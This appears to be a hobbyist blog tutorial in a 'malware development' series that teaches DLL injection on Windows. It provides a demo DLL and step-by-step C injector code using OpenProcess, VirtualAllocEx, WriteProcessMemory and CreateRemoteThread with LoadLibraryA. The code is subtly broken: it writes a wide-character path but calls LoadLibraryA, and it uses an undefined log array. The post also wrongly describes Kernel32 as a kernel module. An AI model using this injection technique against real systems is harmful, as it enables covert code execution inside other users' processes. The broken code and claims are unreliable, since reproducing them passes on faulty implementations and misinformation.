> For the complete documentation index, see [llms.txt](https://lil-skelly.gitbook.io/about-me/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lil-skelly.gitbook.io/about-me/malware-development/process-injection/dll-injection.md).

# DLL Injection

Apr 21, 2023

Oh hello fellow malware developers :D. Yes, I am back and if you have been taking a break from malware development (like me), GET BACK HERE and I promise you won't regret it.

## What is a DLL

A DLL is a Dynamic Linked Library is Microsoft's implementation of the shared library concept. Basically, a DLL contains reusable code that is used by many applications.&#x20;

So you might guess that we will inject **our own** DLL into a process, and that's exactly what we will do!

We will achieve that using the `LoadLibraryA();` function that loads a module into the address space of the calling process.&#x20;

{% hint style="info" %}
`LoadLibraryA();` will not execute a DLL if it's already loaded into a process which means that we won't be able to rerun our exploit.
{% endhint %}

## Let's make a DLL

Since we now know what a DLL is, why not make one? In the end, it's a required thing to have when performing a **DLL Injection** right?

To make a DLL we will use the `DllMain` as the DLL's entry point which is similar to `main` of **C** files.&#x20;

### [DllMain](https://learn.microsoft.com/en-us/windows/win32/dlls/dllmain)

```c
BOOL WINAPI DllMain(
  _In_ HINSTANCE hinstDLL,
  _In_ DWORD     fdwReason,
  _In_ LPVOID    lpvReserved
);
```

We can see the `fwdReason` parameter that indicates why the DLL entry-point function is being called. This parameter can be one of the following values.

| Value                                                | Meaning                                                                                                                                                                                                                                                   |
| ---------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| <p><strong>DLL\_PROCESS\_ATTACH</strong></p><p>1</p> | The DLL is being loaded into the current process as a result of the process starting up or as a result of a call to [**LoadLibrary**](https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya).                     |
| <p><strong>DLL\_PROCESS\_DETACH</strong></p><p>0</p> | The DLL is being unloaded from the calling process because it was loaded unsuccessfully or the processes has either terminated or called [**FreeLibrary**](https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-freelibrary). |
| <p><strong>DLL\_THREAD\_ATTACH</strong></p><p>2</p>  | The current process is creating a new thread. When this occurs, the entry-point function of all DLLs currently attached to the process is called                                                                                                          |
| <p><strong>DLL\_THREAD\_DETACH</strong><br>3</p>     | A thread is exiting cleanly.                                                                                                                                                                                                                              |

In our case, we only need the **DLL\_PROCESS\_ATTACH** case. \
The code we will write for that specific case will be executed the moment our DLL gets loaded into a process.

Here is the DLL that we will use

```c
#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpvReserved) {
    switch (nReason) {
	case DLL_PROCESS_ATTACH:
	    MessageBoxW(NULL, L"Skelly is here", L"Fear me", MB_RIGHT);
	    break;
	case DLL_PROCESS_DETACH:
	    break;
	case DLL_THREAD_ATTACH:
	    break;
	case DLL_THREAD_DETACH:
            break;
    }

    return TRUE;
}
```

{% hint style="info" %}
Try playing yourself with the available cases. For example, leave a final message using the **DLL\_PROCESS\_DETACH** case.
{% endhint %}

### Compiling

Let's compile our **DLL** using `gcc`&#x20;

```powershell
$ gcc -shared -o main.dll dll.c
```

And congrats! You have your own **DLL** :tada:

## The injection

<figure><img src="https://1003628508-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY898WKDGqLepJhWUKVJ7%2Fuploads%2FsRE7taOXiSiusr9ghPc1%2Fdll_injection.png?alt=media&amp;token=058c47a8-4242-443a-a798-8703d75e0432" alt=""><figcaption><p>DLL Injection diagram</p></figcaption></figure>

## Win32 API Calls

As we can see from the above diagram here are the calls we will do to the **Win32 API**

{% hint style="info" %}
Documentation for the following **API calls** can be found by clicking the functions header.&#x20;
{% endhint %}

### [**OpenProcess**](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess)

```c
HANDLE OpenProcess(
  [in] DWORD dwDesiredAccess,
  [in] BOOL  bInheritHandle,
  [in] DWORD dwProcessId
);
```

### [GetModuleHandle](https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulehandlea)

```c
HMODULE GetModuleHandleA(
  [in, optional] LPCSTR lpModuleName
);
```

### [GetProcAddress](https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress)

```c
FARPROC GetProcAddress(
  [in] HMODULE hModule,
  [in] LPCSTR  lpProcName
);
```

### [VirtualAllocEx](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex)

```c
LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);
```

### [WriteProcessMemory](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory)

```c
BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);
```

### [CreateRemoteThread](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread)

```c
HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);
```

We can see that the **DLL Injection** is pretty similar to the shellcode injection we covered in the past article. Let's start by implementing a simple **CLI** (Command Like Interface)

```c
#include <windows.h>
#include <stdio.h>

PVOID rBuffer;
HANDLE hProcess;

int main(int argc, char *argv[]) {
    wchar_t dllPath[MAX_PATH] = L"";
    size_t dllSize = sizeof(dllPath);

    MultiByteToWideChar(CP_ACP, 0, argv[2], -1, dllPath, MAX_PATH); // 0, 0, argv[2], -1, dllPath[260], 260
    DWORD PID = atoi(argv[1]);
}

```

Now we will attempt to get a handle on the process provided by the user.

```c
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
```

According to the [documentation ](#openprocess)If we are successful we should get our handle, otherwise, the `hProcess` variable will be set to `NULL`.

```c
if (hProcess != NULL) {
}
else {
    printf("%s Failed to get handle to process [%ld]\nError: %ld", logs[1], PID, GetLastError());
}
```

From now on we will work inside the `(hProcess != NULL)` block.\
As we did with the shellcode injection we need to allocate some memory within the process.

```c
[. . .]
rBuffer = VirtualAllocEx(hProcess, rBuffer, dllSize, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
[. . .]
```

We will now write the DLL path to the allocated memory

```c
[. . .]
WriteProcessMemory(hProcess, rBuffer, (LPVOID)dllPath, dllSize, NULL);
[. . .]    
```

Now in order to load our DLL we need to get the address of the [LoadLibraryA](https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya) function which is located inside the [Kernel32](https://www.techopedia.com/definition/3379/kernel32dll) module (a module used by the **Windows kernel**!). \
To achieve this we will make use of the [GetModuleHandle](#getmodulehandle) function as well as the [GetProcAddress](#getprocaddress) function.\
Basically, we get a handle on the module that contains the function we want and request its address of it using [GetProcAddress](#getprocaddress).

```c
[. . .]
HMODULE hKernel32 = GetModuleHandle(TEXT("Kernel32"));
PTHREAD_START_ROUTINE startRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(hKernel32, TEXT("LoadLibraryA"));
[. . .]
```

Great! Now the only thing that we have to do is to start the remote thread and close the handle to the process.

```c
[. . .]
CreateRemoteThread(hProcess, NULL, 0, startRoutine, rBuffer, 0, NULL);
CloseHandle(hProcess);
[. . .]
```

And that's pretty much it.

Here is a little **PoC** I put together using verbose logging. I also played a bit with the DLL and also added a message box on DLL\_PROCESS\_DETACH.

<figure><img src="https://1003628508-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY898WKDGqLepJhWUKVJ7%2Fuploads%2FpKPTZljMqZOqgHugHlBt%2FRecording%202023-04-23%20at%2017.17.25.gif?alt=media&amp;token=d1c4d682-05d3-4665-b75c-b14a06672065" alt=""><figcaption><p>DLL Injection PoC</p></figcaption></figure>

Congratulations! You just performed your first DLL Injection? Isn't that amazing?

{% hint style="info" %}
My buddy [@crow](https://www.youtube.com/@crr0ww) recently reached **10K** subs on YouTube. \
Please make sure to check out his channel.\
**P.S** Crow if you are watching this, give me <mark style="color:green;">**`Headmaster`**</mark> :D
{% endhint %}
